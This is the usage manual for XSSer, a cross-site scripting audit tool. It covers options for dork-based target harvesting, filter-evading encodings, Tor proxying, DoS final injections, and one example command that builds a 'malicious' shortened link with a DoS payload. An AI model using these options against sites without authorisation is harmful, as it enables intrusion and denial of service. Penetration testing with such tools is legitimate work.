Installation

XSSer runs on many platforms. It requires Python and the following libraries:

- python-pycurl - Python bindings to libcurl
- python-beautifulsoup - error-tolerant HTML parser for Python
- python-libxml2 - Python bindings for the GNOME XML library
- python-geoip - Python bindings for the GeoIP IP-to-country resolver library

On Debian-based systems (ex: Ubuntu), run:

sudo apt-get install python-pycurl python-beautifulsoup python-libxml2 python-geoip

Usage

xsser [OPTIONS] [-u |-i |-d ] [-g |-p |-c ] [Request(s)] [Vector(s)] [Bypasser(s)] [Technique(s)] [Final Injection(s)]

Options:

--version	show program's version number and exit
-h, --help	show this help message and exit
-s, --statistics	show advanced statistics output results
-v, --verbose	active verbose mode output results
--gtk	launch XSSer GTK Interface (Wizard included!)

*Special Features*:
You can choose Vector(s) and Bypasser(s) to inject code with this extra special features:

--imx=IMX	create a false image with XSS code embedded
--fla=FLASH	create a false .swf file with XSS code embedded

*Select Target(s)*:
At least one of these options has to be specified to set the source to get target(s) urls from.
You need to choose to run XSSer:

-u URL, --url=URL	Enter target(s) to audit
-i READFILE	Read target URLs from a file
-d DORK	Process search engine dork results as target urls
--De=DORK_ENGINE	Search engine to use for dorking (bing, altavista, yahoo, baidu, yandex, youdao, webcrawler, google, etc. See dork.py file to check for available engines)

*Select type of HTTP/HTTPS Connection(s)*:
These options can be used to specify which parameter(s) we want to use like payload to inject code.

-g GETDATA	Enter payload to audit using GET. (ex: '/menu.php?q=')
-p POSTDATA	Enter payload to audit using POST. (ex: 'foo=1&bar=')
-c CRAWLING	Number of urls to crawl on target(s): 1-99999
--Cw=CRAWLING_WIDTH	Deeping level of crawler: 1-5
--Cl	Crawl only local target(s) urls (default TRUE)

*Configure Request(s)*:
These options can be used to specify how to connect to target(s) payload(s).
You can choose multiple:

--cookie=COOKIE	Change your HTTP Cookie header
--drop-cookie	Ignore Set-Cookie header from response
--user-agent=AGENT	Change your HTTP User-Agent header (default SPOOFED)
--referer=REFERER	Use another HTTP Referer header (default NONE)
--xforw	Set your HTTP X-Forwarded-For with random IP values
--xclient	Set your HTTP X-Client-IP with random IP values
--headers=HEADERS	Extra HTTP headers newline separated
--auth-type=ATYPE	HTTP Authentication type (Basic, Digest, GSS or NTLM)
--auth-cred=ACRED	HTTP Authentication credentials (name:password)
--proxy=PROXY	Use proxy server (tor: http://localhost:8118)
--ignore-proxy	Ignore system default HTTP proxy
--timeout=TIMEOUT	Select your timeout (default 30)
--retries=RETRIES	Retries when the connection timeouts (default 1)
--threads=THREADS	Maximum number of concurrent HTTP requests (default 5)
--delay=DELAY	Delay in seconds between each HTTP request (default 0)
--tcp-nodelay	Use the TCP_NODELAY option
--follow-redirects	XSSer will follow server redirection responses (302)
--follow-limit=FLI	Set how many times XSSer will follow redirections (default 50)

*Checker Systems*:
This options are usefull to know if your target(s) have some filters against XSS attacks,
to reduce 'false positive' results and to perform more advanced tests:

--no-head	NOT verify the stability of the url (codes: 200|302) with a HEAD pre-check request
--alive=ISALIVE	set limit of every how much errors XSSer must to verify that target is alive
--hash	send an unique hash, without vectors, to pre-check if target(s) repeats all content recieved
--heuristic	launch a heuristic testing to discover which parameters are filtered on target(s) code: ;\/<>"'=
--checkaturl=ALT	check for a valid XSS response from target(s) at an alternative url. 'blind XSS'
--checkmethod=ALTM	check responses from target(s) using a different connection type: GET or POST (default: GET)
--checkatdata=ALD	check responses from target(s) using an alternative payload (default: same than first injection)
--reverse-check	establish a reverse connection from target(s) to XSSer to certificate that is 100% vulnerable

*Select Vector(s)*:
These options can be used to specify a XSS vector source code to inject in each payload.
Important, if you don't want to try to inject a common XSS vector, used by default.
Choose only one option:

--payload=SCRIPT	OWN - Insert your XSS construction -manually-
--auto	AUTO - Insert XSSer 'reported' vectors from file (HTML5 vectors included!)

*Select Bypasser(s)*:
These options can be used to encode selected vector(s) to try to bypass all possible anti-XSS filters
on target(s) code and some IPS rules, if the target use it. Also, can be combined with other techniques to provide encoding:

--Str	Use method String.FromCharCode()
--Une	Use function Unescape()
--Mix	Mix String.FromCharCode() and Unescape()
--Dec	Use Decimal encoding
--Hex	Use Hexadecimal encoding
--Hes	Use Hexadecimal encoding, with semicolons
--Dwo	Encode vectors IP addresses in DWORD
--Doo	Encode vectors IP addresses in Octal
--Cem	Try -manually- different Character Encoding mutations (reverse obfuscation: good) -> (ex:'Mix,Une,Str,Hex')

*Special Technique(s)*:
These options can be used to try to inject code using different type of XSS techniques. You can choose multiple:

--Coo	COO - Cross Site Scripting Cookie injection
--Xsa	XSA - Cross Site Agent Scripting
--Xsr	XSR - Cross Site Referer Scripting
--Dcp	DCP - Data Control Protocol injections
--Dom	DOM - Use Anchor Stealth (DOM shadows!)
--Ind	IND - HTTP Response Splitting Induced code
--Anchor	ANC - Use Anchor Stealth payloader (DOM shadows!)
--Phpids	PHP - Exploit PHPIDS bug (0.6.5) to bypass filters

*Select Final injection(s)*:
These options can be used to specify the final code to inject in vulnerable target(s). Important, if you want to exploit
on-the-wild your discovered vulnerabilities. Choose only one option:

--Fp=FINALPAYLOAD	OWN - Insert your final code to inject -manually-
--Fr=FINALREMOTE	REMOTE - Insert your final code to inject -remotelly-
--Doss	DOSs - XSS Denial of service (server) injection
--Dos	DOS - XSS Denial of service (client) injection
--B64	B64 - Base64 code encoding in META tag (rfc2397)

*Special Final injection(s)*:
These options can be used to execute some 'special' injection(s) in vulnerable target(s).
You can select multiple and combine with your final code (except with DCP code):

--Onm	ONM - Use onMouseMove() event to inject code
--Ifr	IFR - Use "iframe" source tag to inject code

*Miscellaneous*:

--silent	inhibit console output results
--update	check for XSSer latest stable version
--save	output all results directly to template (XSSlist.dat)
--xml=FILEXML	output 'positives' to aXML file (--xml filename.xml)
--short=SHORTURLS	display -final code- shortered (tinyurl, is.gd)
--launch	launch a browser at the end with each XSS discovered
--tweet	publish each XSS discovered into the 'Grey Swarm!'
--tweet-tags=TT	add more tags to your XSS discovered publications (default: #xss) - (ex: #xsser #vulnerability)

-------------------
* Simple injection from URL, using GET and trying to generate with results a "malicious" shortered link (is.gd) with a valid DoS (Denegation Of Service) browser client payload:

$ python xsser.py -u "http://host.com" -g "bs/?q=" --Dos --short "is.gd"
-------------------
* Multiple injections to multiple places, extracting targets from a list in a FILE, applying automatic payloading, changing timeout to "20" and using multithreads (5 threads), increasing delay between petitions to 10 seconds, injecting parameters in HTTP USer-Agent, HTTP Referer and in Cookie parameters, using proxy Tor, with IP Octal ofuscation, with statistics results, in verbose mode and creating shortered links (tinyurl) of any valid injecting payloads found. (real playing mode!):
